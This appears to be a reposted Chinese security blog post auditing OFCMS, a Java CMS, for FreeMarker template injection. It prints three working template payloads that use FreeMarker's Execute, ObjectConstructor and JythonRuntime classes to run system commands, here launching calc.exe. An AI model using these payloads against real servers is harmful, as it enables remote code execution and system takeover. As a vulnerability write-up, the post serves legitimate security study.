[Java审计]OFCMS命令注入漏洞

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java审计]OFCMS命令注入漏洞相关的知识,希望对你有一定的参考价值。

文章目录

写在前面

闲来无事,分析着玩
在这里插入图片描述

分析

根据今日撇脚水平,知道了命令注入一般就是表达式注入或者模板注入吧,因此我们直接取pom.xml里面找一下,找到了freemarker
在这里插入图片描述
网上一搜还真有模板注入,点我直达
在这里插入图片描述

下面就是去找利用点了,
这里我以index.html为例
在这里插入图片描述
输入

<#assign value="freemarker.template.utility.Execute"?new()>
${value("calc.exe")}

或者

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

甚至可以像python一样,freemarker.template.utility里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

以上是关于[Java审计]OFCMS命令注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Java代码审计之路一(OFCMS)

Java代码审计之路一(OFCMS)

[JAVA代码审计]OFCMS路径遍历漏洞

[JAVA代码审计]OFCMS路径遍历漏洞

Java代码审计连载之—添油加醋

java源代码审计-sql注入